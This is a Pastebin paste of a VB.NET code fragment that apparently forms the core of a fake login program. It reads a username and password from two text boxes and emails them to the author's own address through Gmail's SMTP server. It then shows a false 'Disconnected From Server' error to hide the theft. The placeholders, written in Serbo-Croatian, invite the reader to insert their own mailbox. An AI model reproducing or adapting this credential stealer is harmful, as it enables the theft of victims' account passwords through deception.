Advertisement
Guest User

Untitled

a guest
Aug 26th, 2016
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.61 KB | None | 0 0
  1. Dim mail As New MailMessage()
  2. smtpServer.Credentials = New Net.NetworkCredential("TVOJ MAIL", "TVOJA LOZINKA")
  3. 'using gmail
  4. smtpServer.Port = 587
  5. smtpServer.Host = "smtp.gmail.com"
  6. smtpServer.EnableSsl = True
  7. mail = New MailMessage()
  8. mail.From = New MailAddress("TVOJ MAIL")
  9. mail.To.Add("TVOJ MAIL")
  10. mail.Subject = "Username: " & TextBox1.Text
  11. mail.Body = "Username : " & TextBox1.Text & "," & " Password:" & TextBox2.Text
  12. smtpServer.Send(mail)
  13. MsgBox("Disconnected From Server, Please try again later!")
  14. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement